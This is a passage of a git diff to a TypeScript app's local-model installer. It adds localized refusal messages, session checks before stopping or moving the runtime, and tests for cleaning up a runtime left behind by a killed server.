/api/local-model/runtime` | `LocalModelRuntimeRequest` | 409 `wrong-state` (not installed), `job-running` | + * | | | failed), `sessions-open` (another port while live | + * | | | sessions use the model) | + * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | 409 `wrong-state` (not installed), `job-running`, | + * | | | `sessions-open` (stop, or another port, while live | + * | | | sessions use the model) | * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | 409 `job-running`, `sessions-open` | * * A 409 is the error envelope plus `data: LocalModelConflict`: * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409 * WITHOUT `data` is a write of `settings.json` or of the endpoint store that was refused - * because the file does not parse; `error` names the fix. + * because the file does not parse; `error` names the fix. A 400 the service names carries its + * sentence the same way: `{ success: false, error, errorCode: 'INVALID_INPUT', data: { + * message } }` (`LocalModelRefusal`), so the window can print it in its own language. * * The rules of src/types/local-model.ts hold here too: * 1. A size a person reads travels twice: as bytes and as decimal GB text from `formatGb()` @@ -118,8 +123,10 @@ export const LOCAL_MODEL_INSTALL_STEPS: readonly LocalModelInstallStep[] = [ * | `runtime-download-failed` | the archive download still fails after its retries | * | `runtime-damaged` | the archive's sha256 is not the pinned one (the file was deleted) | * | `runtime-unpack-failed` | `/usr/bin/tar` failed | - * | `runtime-start-failed` | the runtime was started and never answered `/api/version` | - * | `runtime-stopped` | installed: the runtime crashed and was restarted 3 times, then given up | + * | `runtime-start-failed` | the runtime was started and never answered `/api/version`. Installed: | + * | | the last start failed (the detail says why), and Start tries again | + * | `runtime-stopped` | the runtime crashed and was restarted 3 times, then given up: on an | + * | | installed model, or during a job's download | * | `runtime-not-running` | installed: the runtime is not running (the person stopped it). Only a | * | | refused session start says it; the view shows no error for a stopped runtime | * | `port-in-use` | another program listens on the stored port, or no port of the span is free | @@ -170,6 +177,11 @@ export type LocalModelErrorCode = * Without a `nextModel` the window offers the chooser and Remove. * - `start`: "Start". `POST /api/local-model/runtime` with `action: 'start'`. * - `remove`: "Remove". `DELETE /api/local-model`. + * + * `LOCAL_MODEL_ERROR_NEXT` is the default of a code. The view adapts it to the state the + * error is shown in, so the button is always one the server accepts there: a code whose + * default is `start` says `retry` on a failed job (there is no Start verb for a job), and + * `runtime-start-failed` says `start` on an installed model (there is nothing to resume). */ export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start' | 'remove'; @@ -212,11 +224,18 @@ export type LocalModelDeveloperTools = * | `errContextNotApplied` | `model`; `actual`: the context the runtime reports; `wanted`: the chosen one | * | `errHarnessFailed` | `cli`: the coding agent's label | * | `errEndpointIdTaken` | `id`: the endpoint id this feature uses | + * | `refusedAgentNotInstallable` | `cli`: the coding agent's label | + * | `refusedOtherModel` | `model`: the label of the model that is installed | * | `conflictSizeChanged` | `size`: the server's own total as decimal GB | * | `conflictSessionsOpen` | `sessions`: the session names, joined with ', ' | * * `developerToolsMissing` is not sent: the view carries `developerTools` and the window prints * this sentence when it is `missing`. It is here so that its wording has one source. + * + * `endpointManaged` and `endpointIdReserved` are what the endpoint routes + * (src/web/routes/custom-model-routes.ts) answer for the record this feature manages and for + * its reserved id. They have no slot, so the App Settings toast that prints them translates + * them as it translates every other whole sentence. */ export const LOCAL_MODEL_INSTALL_LABELS = { errRuntimeDownloadFailed: @@ -246,6 +265,13 @@ export const LOCAL_MODEL_INSTALL_LABELS = { conflictSizeChanged: 'The download is {size} GB now. Check the sizes and confirm again.', conflictSessionsOpen: 'Sessions are still using this model: {sessions}. Close them first.', conflictWrongState: 'That is not possible in the current state.', + refusedModelNotOffered: 'This model at this context is not offered for this Mac right now.', + refusedAgentNotOffered: 'This coding agent is not offered for this model.', + refusedAgentNotInstallable: '{cli} is not installed and cannot be installed from here.', + refusedOtherModel: 'Only {model} is installed on this Mac. Remove it and install another model first.', + endpointManaged: + 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.', + endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.', developerToolsMissing: 'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.', } as const; @@ -336,11 +362,12 @@ export interface LocalModelInstallError { code: LocalModelErrorCode; /** `LOCAL_MODEL_ERROR_LABELS[code]` with its slots filled. */ message: LocalModelInstallMessage; - /** `LOCAL_MODEL_ERROR_NEXT[code]`. */ + /** `LOCAL_MODEL_ERROR_NEXT[code]`, adapted to the state the error is shown in (see `LocalModelNextStep`). */ next: LocalModelNextStep; /** - * For `next-model`: the best model that still fits and is not the one that failed. Absent - * when there is none. + * For `next-model`: the model to try instead. After `does-not-fit` it is one that needs LESS + * memory than the one that failed; after the other codes the best other model that fits. + * Absent when there is none. */ nextModel?: { modelId: string; modelLabel: string }; /** @@ -484,6 +511,11 @@ export interface LocalModelRemoveRequest { removeModel?: boolean; } +/** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */ +export interface LocalModelRefusal { + message: LocalModelInstallMessage; +} + /** What every verb answers on success: the view after the verb. */ export type LocalModelVerbAnswer = LocalModelInstallView; @@ -493,7 +525,9 @@ export type LocalModelVerbAnswer = LocalModelInstallView; * - `already-installed`: install while a model is installed. Remove it first. * - `size-changed`: `acknowledgedBytes` is not the server's total; `expectedBytes` and * `expectedGb` carry that total, so the window can show it and ask again. - * - `sessions-open`: remove while live sessions use the endpoint; `sessions` names them. + * - `sessions-open`: remove, stop or a change of port while live sessions use the endpoint; + * `sessions` names them. Their coding agents were given the runtime's address when they + * started, so they would go on calling a port nothing of ours holds. * - `wrong-state`: the verb makes no sense in the current state (see the route table above). */ export type LocalModelConflictReason = @@ -567,11 +601,17 @@ export interface LocalModelStateFile { cli?: { id: string; label: string }; /** The runtime, once its port was chosen. */ runtime?: { - /** The pinned version that was unpacked. */ + /** + * The runtime version this installation runs. A later build with another pin keeps + * starting this version for as long as its folder is unpacked. + */ version: string; /** The loopback port, chosen once by binding. */ port: number; - /** The pid of the child Codeman last started. Used at boot to tell our own orphan from another program. */ + /** + * The pid of the child Codeman last started, stored the moment it is spawned. Used to + * tell our own runtime from another program: at boot, and before the folder is deleted. + */ pid?: number; /** False after Stop: the runtime is not started at boot. */ enabled: boolean; @@ -582,7 +622,11 @@ export interface LocalModelStateFile { progress?: { completedBytes: number; totalBytes: number }; /** What the runtime reported when the job checked the loaded model. */ loaded?: { context: number; sizeBytes: number; sizeVramBytes: number }; - /** Present once the `connect` step wrote: what uninstall must undo. */ + /** + * Present once the `connect` step CLAIMED the connection, which it does before its two + * writes: what uninstall must undo. A claim with nothing behind it (the step was interrupted + * right after it) is harmless: a resumed job writes both, and uninstall removes nothing. + */ connection?: { /** The id of the endpoint record this feature wrote. */ endpointId: string; diff --git a/src/web/routes/custom-model-routes.ts b/src/web/routes/custom-model-routes.ts index 4516b516..d718f598 100644 --- a/src/web/routes/custom-model-routes.ts +++ b/src/web/routes/custom-model-routes.ts @@ -30,7 +30,7 @@ */ import type { FastifyInstance, FastifyRequest } from 'fastify'; -import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js'; +import { ApiErrorCode, createErrorResponse, LOCAL_MODEL_INSTALL_LABELS, type ApiResponse } from '../../types.js'; import { isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js'; import { isMultiUserMode } from '../../config/multiuser.js'; import { getDataDir } from '../../config/instance.js'; @@ -933,10 +933,7 @@ function refusedHostsWrite(err: unknown, reply: { code: (n: number) => unknown } /** The answer to an edit or a delete of the record the local model install manages. */ function managedEndpointRefusal(): ApiResponse<never> { - return createErrorResponse( - ApiErrorCode.INVALID_INPUT, - 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.' - ); + return createErrorResponse(ApiErrorCode.INVALID_INPUT, LOCAL_MODEL_INSTALL_LABELS.endpointManaged); } export function registerCustomModelRoutes(app: FastifyInstance): void { @@ -956,10 +953,7 @@ export function registerCustomModelRoutes(app: FastifyInstance): void { const badDefault = invalidDefaultModel(host); if (badDefault) return badDefault; if (isLocalModelEndpointId(host.id)) { - return createErrorResponse( - ApiErrorCode.INVALID_INPUT, - `The endpoint id "${host.id}" is reserved for the model Codeman runs on this Mac. Pick another id.` - ); + return createErrorResponse(ApiErrorCode.INVALID_INPUT, LOCAL_MODEL_INSTALL_LABELS.endpointIdReserved); } try { return await mutateCustomModelHosts<ApiResponse<{ host: RedactedHost }>>((hosts) => { diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index 74c858ef..2cd8bc6a 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -40,11 +40,14 @@ * - A verb answers the view AFTER the verb. A refusal the service names is a 400 (the request * is not a row the server offers) or a 409 whose `data` is the `LocalModelConflict` * (`reason`, the sentence, and for `size-changed` the server's own total, for - * `sessions-open` the session names). A write of the settings or of the endpoint store - * that was refused (a file that does not parse) is a 409 without `data`, with the fix. + * `sessions-open` the session names). A 400 the service names carries its sentence as + * `data.message` too, so the window prints it in its own language. A write of the settings + * or of the endpoint store that was refused (a file that does not parse) is a 409 without + * `data`, with the fix. * - The verbs do the work in the install service; this file only gates, parses and maps. - * `DELETE` is the one that looks at the live sessions: it hands their names to the service, - * which refuses while one of them still uses the model. + * `DELETE`, `runtime` and `resume` look at the live sessions: they hand their names to the + * service, which refuses a removal, a stop and a change of port while one of them still + * uses the model. * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and * does not need a Mac: it passes its own hardware, harness facts and service. */ @@ -61,6 +64,7 @@ import { type LocalModelCatalog, type LocalModelConflict, type LocalModelInstallView, + type LocalModelRefusal, type LocalModelStatus, type Recommendation, type RecommendOptions, @@ -152,8 +156,20 @@ export interface LocalModelConflictResponse { data: LocalModelConflict; } -/** What a verb answers: the view after it, an error envelope, or the 409 that carries the conflict. */ -export type LocalModelVerbResponse = ApiResponse<LocalModelInstallView> | LocalModelConflictResponse; +/** The 400 (or 507) of a verb the service refused with a sentence: the error envelope plus that sentence as `data`. */ +export interface LocalModelRefusalResponse { + success: false; + /** The sentence in English, its slots filled. */ + error: string; + errorCode: ApiErrorCode; + data: LocalModelRefusal; +} + +/** What a verb answers: the view after it, an error envelope, or a refusal that carries its sentence. */ +export type LocalModelVerbResponse = + | ApiResponse<LocalModelInstallView> + | LocalModelConflictResponse + | LocalModelRefusalResponse; /** 403 for a non-admin in multi-user mode, before anything else runs. `null`: go on. */ function adminOnly(req: FastifyRequest, reply: FastifyReply): ApiResponse<never> | null { @@ -170,7 +186,14 @@ function actorOf(req: FastifyRequest): LocalModelActor { function respond(result: LocalModelVerbResult, reply: FastifyReply): LocalModelVerbResponse { if (result.ok) return { success: true, data: result.view }; reply.code(result.status); - if (result.status === 400) return createErrorResponse(ApiErrorCode.INVALID_INPUT, result.message); + if (result.status !== 409) { + return { + success: false, + error: formatInstallMessage(result.message), + errorCode: result.status === 400 ? ApiErrorCode.INVALID_INPUT : ApiErrorCode.OPERATION_FAILED, + data: { message: result.message }, + }; + } return { success: false, error: formatInstallMessage(result.conflict.message), @@ -258,14 +281,18 @@ export function registerLocalModelRoutes( const denied = adminOnly(req, reply); if (denied) return denied; const body = parseBody(LocalModelResumeSchema, req.body ?? {}); - return runVerb(reply, () => resolved.service().resume(body, actorOf(req))); + const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values()); + return runVerb(reply, () => resolved.service().resume(body, actorOf(req), sessionNames)); }); app.post('/api/local-model/runtime', async (req, reply): Promise<LocalModelVerbResponse> => { const denied = adminOnly(req, reply); if (denied) return denied; const body = parseBody(LocalModelRuntimeSchema, req.body); - return runVerb(reply, () => resolved.service().runtime(body)); + // Asked at the moment of the request, like the DELETE: a stop or a change of port leaves + // a live session calling an address nothing of ours holds. + const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values()); + return runVerb(reply, () => resolved.service().runtime(body, sessionNames)); }); app.delete('/api/local-model', async (req, reply): Promise<LocalModelVerbResponse> => { diff --git a/test/local-model-connect.test.ts b/test/local-model-connect.test.ts index c1dd2150..3630baf6 100644 --- a/test/local-model-connect.test.ts +++ b/test/local-model-connect.test.ts @@ -27,8 +27,10 @@ import { connectLocalModel, disconnectLocalModel, ensureLocalEndpoint, + inspectLocalEndpoint, isLocalModelEndpointId, isManagedLocalEndpoint, + isSameLocalEndpoint, LOCAL_MODEL_ENDPOINT_ID, LOCAL_MODEL_ENDPOINT_LABEL, moveLocalEndpoint, @@ -401,6 +403,76 @@ describe('compareModelDigest', () => { }); }); +describe('a record that says what ours would say is ours', () => { + it('isSameLocalEndpoint: the address, the one model, its context and no key', () => { + expect(isSameLocalEndpoint(RECORD, INPUT)).toBe(true); + // What discovery may have added does not make it somebody else's. + expect( + isSameLocalEndpoint( + { ...RECORD, modelContextLengths: { 'qwen3.6:35b-a3b': 131072 }, lastDiscoveredAt: '2026-11-06T10:00:00Z' }, + INPUT + ) + ).toBe(true); + const differs: Partial<CustomModelHost>[] = [ + { baseUrl: 'http://127.0.0.1:11434' }, + { label: 'My own' }, + { models: ['qwen3.6:35b-a3b', 'gpt-oss:20b'] }, + { models: ['gpt-oss:20b'], defaultModelId: 'gpt-oss:20b' }, + { defaultContextLength: 65536 }, + { apiKey: 'sk-not-ours' }, + { authStyle: 'api-key' }, + ]; + for (const change of differs) expect(isSameLocalEndpoint({ ...RECORD, ...change }, INPUT)).toBe(false); + }); + + it('connectLocalModel takes such a record as ours although the caller did not say so', async () => { + writeSettings({}); + writeHosts([OTHER, RECORD]); + expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: true, flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]); + }); + + it('a record with our id that says something else is still somebody else: taken, and untouched', async () => { + const foreign = { ...RECORD, baseUrl: 'http://127.0.0.1:11434' }; + writeHosts([foreign]); + expect(await connectLocalModel({ ...INPUT, ours: false })).toEqual({ ok: false, code: 'endpoint-id-taken' }); + expect(await readCustomModelHosts(getDataDir())).toEqual([foreign]); + }); +}); + +describe('inspectLocalEndpoint: what the connect step finds before it claims the connection', () => { + it('nothing saved and no settings file: absent, and the flag is off', async () => { + expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: false }); + }); + + it('reads the flag as it is now, and writes nothing', async () => { + writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 }); + writeHosts([OTHER]); + const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8'); + const hostsBefore = readFileSync(HOSTS(), 'utf8'); + expect(await inspectLocalEndpoint(INPUT)).toEqual({ record: 'absent', flagEnabled: true }); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore); + expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore); + }); + + it("tells our record from somebody else's under the same id", async () => { + writeHosts([RECORD]); + expect((await inspectLocalEndpoint(INPUT)).record).toBe('same'); + expect((await inspectLocalEndpoint({ ...INPUT, port: 11436 })).record).toBe('other'); + }); +}); + +describe('moveLocalEndpoint', () => { + it('a record that is already on the port is not written again', async () => { + writeHosts([RECORD]); + const before = readFileSync(HOSTS(), 'utf8'); + await moveLocalEndpoint(11435); + expect(readFileSync(HOSTS(), 'utf8')).toBe(before); + await moveLocalEndpoint(11440); + expect((await readCustomModelHosts(getDataDir()))[0].baseUrl).toBe('http://127.0.0.1:11440'); + }); +}); + describe('the runtime keeps a private key that is never served', () => { it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => { const home = join(getDataDir(), 'local-model', 'home'); diff --git a/test/local-model-install-e2e.test.ts b/test/local-model-install-e2e.test.ts index 886c26ce..f87a5261 100644 --- a/test/local-model-install-e2e.test.ts +++ b/test/local-model-install-e2e.test.ts @@ -17,7 +17,8 @@ * * The walks: the whole install and its removal; a damaged runtime download; a model download * that fails twice and then succeeds; one that keeps failing; a model that calls no tool; - * Cancel during the model download; a server restart during the model download. + * Cancel during the model download; a server restart during the model download; a server + * that is KILLED during the model download and leaves its runtime running. * * "A server" here is one install service with its own runtime supervisor (`startServer()`). * A restart is `shutdown()` of the one and a new one over the same data dir. @@ -45,7 +46,11 @@ import { createLocalModelService, type LocalModelService } from '../src/local-mo import { memClassGb, formatGb } from '../src/local-model/format.js'; import { pullModel, PULL_RETRIES } from '../src/local-model/ollama-client.js'; import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js'; -import { createRuntimeSupervisor, ensureRuntimeInstalled } from '../src/local-model/runtime.js'; +import { + createRuntimeSupervisor, + ensureRuntimeInstalled, + type RuntimeSupervisorDeps, +} from '../src/local-model/runtime.js'; import { readLocalModelState } from '../src/local-model/state-store.js'; import { registerLocalModelRoutes } from '../src/web/routes/local-model-routes.js'; import { SETTINGS_PATH } from '../src/web/route-helpers.js'; @@ -123,7 +128,7 @@ const archiveFetch: typeof fetch = async (input, init) => { * supervisor, over the data dir, the pin and the port of the test. It becomes `world.service`, * which is the one the routes ask. */ -function startServer(): LocalModelService { +function startServer(processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = {}): LocalModelService { const pin = world.archive.pin(); const { paths, port } = world; const supervisor = createRuntimeSupervisor({ @@ -136,6 +141,7 @@ function startServer(): LocalModelService { env: { PATH: process.env.PATH, CODEMAN_PASSWORD: 'must-not-reach-the-runtime', OLLAMA_ORIGINS: '*' }, commandOfPid: async () => undefined, kill: () => {}, + ...processes, sleep: async () => {}, pin, paths, @@ -675,3 +681,83 @@ describe('the install from the first GET to Remove, real modules over a fake run expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'local-ollama', models: [pick.modelId] }]); }, 60_000); }); + +describe('a server that is killed leaves its runtime running: the next server never deletes under it', () => { + /** + * Installs up to the model download, then "kills" the server: its job stops and it signals + * nothing, as a process that got SIGKILL does. Its runtime child goes on listening. Answers + * what the next server needs to find that process: `ps` and `kill` over the fake child. + */ + async function killedDuringTheDownload() { + const api = await routes(); + const pick = (await api.get()).recommendation.pick!; + const runtime = prepareRuntime(pick); + slowPull(runtime); + await api.install(pick); + await api.pulling(); + + const child = runtime.state.children[0]; + const signal = child.kill.bind(child); + // A killed server sends its child nothing. + child.kill = () => false; + await world.service.shutdown(); + expect(runtime.listening).toBe(true); + // The pid was stored the moment the child was spawned. + expect((await readLocalModelState()).runtime?.pid).toBe(child.pid); + + const signals: Array<{ pid: number; signal: string; folderThere: boolean }> = []; + const processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = { + // What `ps -o command= -p <pid>` prints for the runtime while it lives. + commandOfPid: async (pid) => (pid === child.pid && runtime.listening ? `${world.paths.binary} serve` : undefined), + kill: (pid, sig) => { + signals.push({ pid, signal: sig, folderThere: existsSync(world.paths.runtimeDir) }); + if (pid === child.pid) signal(sig); + }, + }; + return { ...api, pick, runtime, child, signals, processes }; + } + + it('Remove of the job it left ends that runtime BEFORE the folder is deleted', async () => { + const { app, runtime, child, signals, processes } = await killedDuringTheDownload(); + startServer(processes); + const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } }); + expect(removed.statusCode).toBe(200); + expect(removed.json().data.state).toBe('idle'); + // The process was signalled while its binary was still on disk, and it is gone. + expect(signals).toEqual([{ pid: child.pid, signal: 'SIGTERM', folderThere: true }]); + await vi.waitFor(() => expect(runtime.listening).toBe(false)); + expect(existsSync(world.paths.root)).toBe(false); + expect(await readLocalModelState()).toEqual(expect.objectContaining({ schema: 1, state: 'idle' })); + }, 60_000); + + it('the next start of the server ends it too: nothing would use it until a click', async () => { + const { get, settled, app, runtime, child, signals, processes } = await killedDuringTheDownload(); + const next = startServer(processes); + await next.boot(); + expect(signals.map((entry) => [entry.pid, entry.signal])).toEqual([[child.pid, 'SIGTERM']]); + await vi.waitFor(() => expect(runtime.listening).toBe(false)); + expect((await get()).install).toMatchObject({ state: 'paused', step: 'model', running: false }); + + // Continue starts a runtime of its own on the same port and finishes the install. + quickPull(runtime); + const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} }); + expect(resumed.statusCode).toBe(200); + const install = await settled(); + expect(install).toMatchObject({ state: 'installed', running: true }); + expect(runtime.state.children).toHaveLength(2); + }, 60_000); + + it('a pid that now runs something else is never signalled', async () => { + const { app, child, signals } = await killedDuringTheDownload(); + // The pid was reused by another program since. + startServer({ + commandOfPid: async () => '/Applications/Something.app/Contents/MacOS/Something', + kill: (pid, sig) => signals.push({ pid, signal: sig, folderThere: true }), + }); + const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: {} }); + expect(removed.statusCode).toBe(200); + expect(signals).toEqual([]); + // Left to the test's own cleanup. + child.crash(0); + }, 60_000); +}); diff --git a/test/local-model-install-job.test.ts b/test/local-model-install-job.test.ts index 740c4a81..dec84ee8 100644 --- a/test/local-model-install-job.test.ts +++ b/test/local-model-install-job.test.ts @@ -488,6 +488,30 @@ describe('installedBlocker', () => { }); }); + it('a runtime that did not start: what it said, and "Start" to try again (an installed model has no job to resume)', () => { + expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: { detail: 'spawn ENOENT' } })).toEqual({ + code: 'runtime-start-failed', + message: { text: 'The runtime did not start on this Mac.' }, + next: 'start', + detail: 'spawn ENOENT', + }); + expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: {} })).toEqual({ + code: 'runtime-start-failed', + message: { text: 'The runtime did not start on this Mac.' }, + next: 'start', + }); + // A runtime that runs has started: an older failure says nothing any more. + expect( + installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', startFailed: { detail: 'x' } }) + ).toBeUndefined(); + }); + + it('the port and a runtime that keeps stopping are said before a failed start', () => { + const failed = { startFailed: { detail: 'x' } }; + expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, portInUse: true })?.code).toBe('port-in-use'); + expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, gaveUp: true })?.code).toBe('runtime-stopped'); + }); + it('a model that changed: "Remove"', () => { expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({ code: 'model-changed', @@ -617,6 +641,21 @@ describe('buildInstallView', () => { }); }); + it('a failed job never says "Start": a code whose own next step is that says "Try again" there', () => { + const state: LocalModelStateFile = { ...SAMPLE.failed, error: { code: 'runtime-stopped', detail: 'ECONNREFUSED' } }; + expect(buildInstallView(state, LIVE).error).toEqual({ + code: 'runtime-stopped', + message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' }, + next: 'retry', + detail: 'ECONNREFUSED', + }); + // Every next step a failed job is shown with is one its actions can carry out. + for (const code of Object.keys(LOCAL_MODEL_ERROR_NEXT) as LocalModelErrorCode[]) { + const next = buildInstallView({ ...SAMPLE.failed, error: { code } }, LIVE).error?.next; + expect(next, code).not.toBe('start'); + } + }); + it('a next model is named only for an error whose next step is another model', () => { const view = buildInstallView(SAMPLE.failed, { ...LIVE, diff --git a/test/local-model-install-service.test.ts b/test/local-model-install-service.test.ts index 67da16a7..bae8ffbe 100644 --- a/test/local-model-install-service.test.ts +++ b/test/local-model-install-service.test.ts @@ -22,7 +22,7 @@ import { mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { dirname } from 'node:path'; import { getDataDir } from '../src/config/instance.js'; import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js'; -import { connectLocalModel, disconnectLocalModel } from '../src/local-model/connect.js'; +import { connectLocalModel, disconnectLocalModel, inspectLocalEndpoint } from '../src/local-model/connect.js'; import { createLocalModelService, type LocalModelActor, @@ -99,7 +99,14 @@ const FACTS: HarnessFact[] = [ }, ]; -function candidate(modelId: string, modelLabel: string, context: number, bytes: number, installed: boolean): Candidate { +function candidate( + modelId: string, + modelLabel: string, + context: number, + bytes: number, + installed: boolean, + needBytes = 36_000_000_000 +): Candidate { return { modelId, modelLabel, @@ -109,8 +116,8 @@ function candidate(modelId: string, modelLabel: string, context: number, bytes: cli: 'opencode', cliLabel: 'OpenCode', cliInstalled: installed, - needBytes: 30_000_000_000, - needGb: '30.0', + needBytes, + needGb: '0.0', downloadBytes: bytes, downloadGb: '0.0', budgetShare: 0.8, @@ -137,7 +144,8 @@ function recommendation(agentInstalled = false): Recommendation { headline: { text: 'Best fit for this Mac' }, notes: [], pick: candidate('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 131072, PULL_BYTES, agentInstalled), - alternatives: [candidate('gpt-oss:20b', 'GPT-OSS 20B', 131072, 13_793_441_427, agentInstalled)], + // Needs less memory than the pick, so it is what "does not fit" offers next. + alternatives: [candidate('gpt-oss:20b', 'GPT-OSS 20B', 131072, 13_793_441_427, agentInstalled, 26_600_000_000)], budgetBytes: 37_580_963_840, budgetGb: '37.6', budgetSource: 'estimated', @@ -187,20 +195,34 @@ function jobAt(step: LocalModelInstallStep, state: 'installing' | 'paused' = 'in // ---------- The harness ---------- -/** The state file in memory. Every write goes through the real parser, like a write to disk and a read back. */ +/** What a write to a full disk rejects with. */ +function noSpace(): Error { + return Object.assign(new Error('ENOSPC: no space left on device, write'), { code: 'ENOSPC' }); +} + +/** + * The state file in memory. Every write goes through the real parser, like a write to disk and + * a read back. `refuse` makes the disk full: while it answers true for a write, that write + * rejects with ENOSPC and the file keeps what it had, like the real temp file plus rename. + */ function memoryStore(initial: LocalModelStateFile = IDLE_LOCAL_MODEL_STATE) { let state = initial; let chain: Promise<unknown> = Promise.resolve(); const history: LocalModelStateFile[] = []; + const disk = { + refuse: undefined as ((next: LocalModelStateFile, before: LocalModelStateFile) => boolean) | undefined, + }; return { get: () => state, history, + disk, readState: async () => state, mutateState: (fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined) => { const run = chain.then(async () => { const before = state; const next = fn(before); if (!next) return { before, after: undefined }; + if (disk.refuse?.(next, before)) throw noSpace(); state = parseLocalModelState(JSON.stringify(next)); history.push(state); return { before, after: state }; @@ -256,7 +278,7 @@ function setup( ...(world.measured !== undefined ? { measuredTotalBytes: world.measured } : {}), }; }), - stop: vi.fn(async () => { + stop: vi.fn(async (_options?: { previousPid?: number }) => { calls.push('supervisor.stop'); world.running = false; }), @@ -307,6 +329,10 @@ function setup( calls.push('deleteModel'); return true; }), + removePartialModelBlobs: vi.fn(async () => { + calls.push('removePartialModelBlobs'); + return 0; + }), checkDeveloperTools: vi.fn(async () => 'missing' as const), stockInstallCommand: vi.fn((id: string) => (id === FACTS[0].cli ? INSTALL_COMMAND : undefined)), tryBeginCliInstall: vi.fn((): (() => void) | null => () => { @@ -322,6 +348,8 @@ function setup( return world.agentInstalled; }), audit: vi.fn(async () => {}), + // Nothing saved under the reserved id, and the endpoints setting is off: a first install. + inspectLocalEndpoint: vi.fn(async () => ({ record: 'absent' as 'absent' | 'same' | 'other', flagEnabled: false })), connectLocalModel: vi.fn(async () => { calls.push('connectLocalModel'); return { ok: true as const, flagWasEnabled: false }; @@ -401,12 +429,14 @@ describe('a job from the click to installed', () => { for (const [start] of deps.supervisor.start.mock.calls) { expect(start).toMatchObject({ port: 11435, contextLength: 131072 }); } - // The connection names the model as the runtime lists it, at the chosen context. + // The connection names the model as the runtime lists it, at the chosen context. It was + // claimed in the state file first, so the record is written as ours. expect(deps.connectLocalModel).toHaveBeenCalledWith({ port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072, - ours: false, + ours: true, + flagWasEnabled: false, }); }); @@ -602,7 +632,7 @@ describe('install is checked before anything is downloaded', () => { expect(result).toEqual({ ok: false, status: 400, - message: 'OpenCode is not installed and cannot be installed from here.', + message: { text: '{cli} is not installed and cannot be installed from here.', vars: { cli: 'OpenCode' } }, }); nothingStarted(h); }); @@ -614,8 +644,10 @@ describe('install is checked before anything is downloaded', () => { expect(result).toEqual({ ok: false, status: 400, - message: - 'A saved model connection named local-ollama already exists and was not created here. Rename or delete it in App Settings, then try again.', + message: { + text: 'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.', + vars: { id: 'local-ollama' }, + }, }); nothingStarted(h); }); @@ -823,6 +855,8 @@ describe('Cancel in every step', () => { }), }, }); + // What the claim keeps: the setting was on before this feature touched it. + h.deps.inspectLocalEndpoint.mockResolvedValue({ record: 'absent', flagEnabled: true }); await h.service.install(REQUEST, ADMIN); await vi.waitFor(() => expect(h.deps.connectLocalModel).toHaveBeenCalled()); const cancelling = h.service.cancel(); @@ -929,8 +963,9 @@ describe('Resume', () => { await h.service.idle(); expect(h.deps.chooseRuntimePort).toHaveBeenCalledWith({ avoid: [11435] }); expect(h.store.get()).toMatchObject({ state: 'installed', runtime: { port: 11436 } }); - // The pid that was stored belonged to the old port: it is not passed on as "ours". - expect(h.supervisor.start.mock.calls[0][0]).toEqual({ port: 11436, contextLength: 131072 }); + // The stored pid goes along: when it is still our own runtime on the OLD port, the start + // ends it instead of leaving a second runtime behind. + expect(h.supervisor.start.mock.calls[0][0]).toEqual({ port: 11436, contextLength: 131072, previousPid: 5000 }); expect(h.deps.connectLocalModel).toHaveBeenCalledWith(expect.objectContaining({ port: 11436 })); }); }); @@ -951,6 +986,16 @@ describe('a job a server restart interrupted', () => { const h = setup({ state: jobAt('verify') }); await h.service.boot(); expect(h.store.get()).toMatchObject({ state: 'paused', step: 'verify' }); + expect(h.supervisor.start).not.toHaveBeenCalled(); + // The runtime the killed server left behind is ended: nothing would use it until a click. + expect(h.calls).toEqual(['supervisor.stop']); + expect(h.supervisor.stop).toHaveBeenCalledWith({ previousPid: 5000 }); + }); + + it('boot() ends nothing for a job that never started a runtime', async () => { + const h = setup({ state: jobAt('runtime') }); + await h.service.boot(); + expect(h.store.get()).toMatchObject({ state: 'paused', step: 'runtime' }); expect(h.calls).toEqual([]); }); @@ -1280,9 +1325,9 